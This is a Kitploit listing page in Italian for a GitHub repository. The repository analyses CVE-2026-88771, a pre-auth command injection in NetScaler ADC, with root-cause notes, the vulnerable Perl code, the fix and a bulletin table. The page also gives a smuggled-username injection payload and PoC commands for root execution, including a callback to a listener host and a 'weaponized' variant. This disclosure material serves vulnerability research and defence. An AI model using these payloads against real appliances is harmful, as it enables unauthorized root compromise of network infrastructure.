Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-88771-netscaler — Analisi del diff del firmware, resoconto della causa radice e PoC funzionante per l'iniezione di comandi non autenticata in NetScaler ADC (CVE-2026-88771) che porta all'esecuzione come root. | Kitploit
Strumenti/GitHubGitHub/craigsblackie/cve-2026-88771-netscaler
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitReverse EngineeringSfruttamento di Applicazioni WebPaper e RicercaAnalisi del Firmware
GitHub

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
craigsblackie/cve-2026-88771-netscaler

cve-2026-88771-netscaler

Analisi del diff del firmware, resoconto della causa radice e PoC funzionante per l'iniezione di comandi non autenticata in NetScaler ADC (CVE-2026-88771) che porta all'esecuzione come root.

Vedi Repository
111 mese faNon ancora revisionato

CVE-2026-88771 — command injection pre-auth in NetScaler ADC

Esecuzione arbitraria di comandi non autenticata (come root) in Citrix ADC (NetScaler) 14.1-66.59 e 14.1-72.61. Corretto in 14.1-73.37 (e 13.1-64.23). CVSS 9.5, interessa le distribuzioni predefinite, non richiede funzionalità aggiuntive.

Questo repository contiene l'analisi del diff del firmware, le evidenze estratte della vulnerabilità e un proof-of-concept funzionante.

  • Catena di vulnerabilità, spiegata: analysis/CVE-2026-88771_STAGE_BY_STAGE.md
  • Valutazione della causa radice e matrice di regressione: analysis/CVE-2026-88771_ROOT_CAUSE.md
  • PoC (verificato funzionante): poc/ — vedi poc/README.md

La vulnerabilità in un paragrafo

Un tentativo di login amministrativo non autenticato fallito viene registrato in /var/log/ns.log con il nome utente controllato dall'attaccante. Il worker di telemetria root abilitato per impostazione predefinita (admautoregd, fornito nel mastools_scripts.tgz esterno del firmware) esegue periodicamente /netscaler/ns_monuploadd_err.pl -WR. Nelle build vulnerabili quel ramo convoglia le righe di log corrispondenti attraverso un ampio grep | sed | awk e interpola il risultato senza virgolette in un comando shell:

# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

Un username craftato come pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died sopravvive alla pipeline come token shell NSPPE-00;id>/tmp/pwned;#-unexpectedly, così il sink backtick esegue find ... -name NSPPE-00, poi id>/tmp/pwned (root), poi un commento #.

La catena, fase per fase

  1. Input non autenticato. L'handler dell'API NITRO consente POST non autenticato a /nitro/v1/config/login (evidence/gui-72.61/admin_ui/nitro/nitro.php); il controller di login del browser inoltra username/password verbatim (evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).
  2. Nessuna validazione dell'input. Il parser JSON di login di nsppe controlla solo length < 128 per lo username — nessuna allowlist di caratteri (decompilazione in analysis/nsppe_api_login_799b90.c).
  3. Scrittura del log. I login falliti vengono registrati in audit su /var/log/ns.log come CMD_EXECUTED con lo username nel record (decompilazione del formatter: analysis/nsppe_cmdexecuted_decomp.c).
  4. Consumer root. Il daemon di auto-registrazione parte al boot (nsstartpe.sh → admautoregd_ctl startup, root), e alla sua prima probe più ogni 24 h esegue CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR' tramite subprocess.Popen (evidence/mastools-72.61/scripts/admautoreg/constant.py).
  5. Sink shell. Il ramo -WR di ns_monuploadd_err.pl interpola il token derivato dal log senza quoting in un comando backtick — esecuzione di comandi come root, prima di qualsiasi controllo sull'esistenza del core-file.

La correzione (14.1-73.37)

Entrambe le metà sono state corrette insieme:

  • ns_monuploadd_err.pl sostituisce la pipeline con una regex Perl rigorosa (solo NSPPE-\d{2} + PID numerico) e invoca find tramite open '-|' in forma di lista (nessuna shell) — vedi evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.
  • L'intero chiamante admautoregd è rimosso: CHECK_PE_FAILURE_CMD, _check_disk_pe_failure(), get_pe_failure_info() sono tutti spariti dal pacchetto mastools 73.37 — confronta evidence/mastools-72.61/ vs evidence/mastools-73.37/.

Il bollettino (CTX697096) — CVE correlati

CVE-2026-88771 è una di otto CVE nel bollettino coordinato Citrix. Secondo il bollettino e il write-up pubblico di watchTowr, l'insieme e la sua disposizione sono:

CVEDescrizioneCVSS 4.0Sfruttata in the wild
CVE-2026-88771Command injection pre-auth (questo repo) — configurazione predefinita9.5 CriticalSì
CVE-2026-88772Memory overflow (RCE/DoS) quando DTLS è abilitato — predefinito per i vServer VPN9.5 CriticalSì
CVE-2026-88773HTTP request smuggling — dipendente dalla configurazione9.3 CriticalNo
CVE-2026-88774Dipendente dalla configurazione7.0 HighNo
CVE-2026-88775Memory overflow — dipendente dalla configurazione8.8 HighNo
CVE-2026-88776Memory overflow — dipendente dalla configurazione8.8 HighNo
CVE-2026-88777Memory overflow — dipendente dalla configurazione8.8 HighNo
CVE-2026-88778ISN prevedibile — corretto abilitando Enhanced ISN Generation, non solo con l'aggiornamento8.8 HighNo

Release corrette secondo il bollettino (non solo le coppie 14.1 / 13.1 sopra):

  • ADC / Gateway 14.1-73.37 e successive
  • ADC / Gateway 13.1-64.23 e successive (linea 13.1)
  • ADC 14.1-FIPS 14.1-73.37 FIPS e successive
  • ADC 13.1-FIPS / 13.1-NDcPP 13.1-37.279 e successive

Come eseguire il PoC

Solo test autorizzati. Il lato remoto è un singolo POST HTTPS non autenticato; il comando iniettato viene eseguito successivamente come root, quando il worker di telemetria esegue la sua successiva verifica PE-failure a 24 h (riavviare l'appliance, o riavviare admautoregd, la forza).

1. Attivare l'iniezione (nessuna esecuzione locale)

# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example

# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
    --cmd 'id>/tmp/cve88771_ef60f0de46d9'

# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3

Atteso HTTP 401 — il login fallito è esattamente ciò che scrive la riga di audit. Poi sull'appliance (o attendendo fino a 24 h) attiva il worker:

reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart

Verifica l'esecuzione come root: ls -l /tmp/cve88771_ef60f0de46d9 dovrebbe mostrare root:wheel.

2. Singolo colpo weaponizzato (host + comando come argomenti)

Applica le stesse regole sul payload: un comando contenente uno spazio letterale, (, ), ?, o & viene rifiutato prima dell'invio (exit 2). Usa ${IFS} per gli spazi.

Scarica lo strumento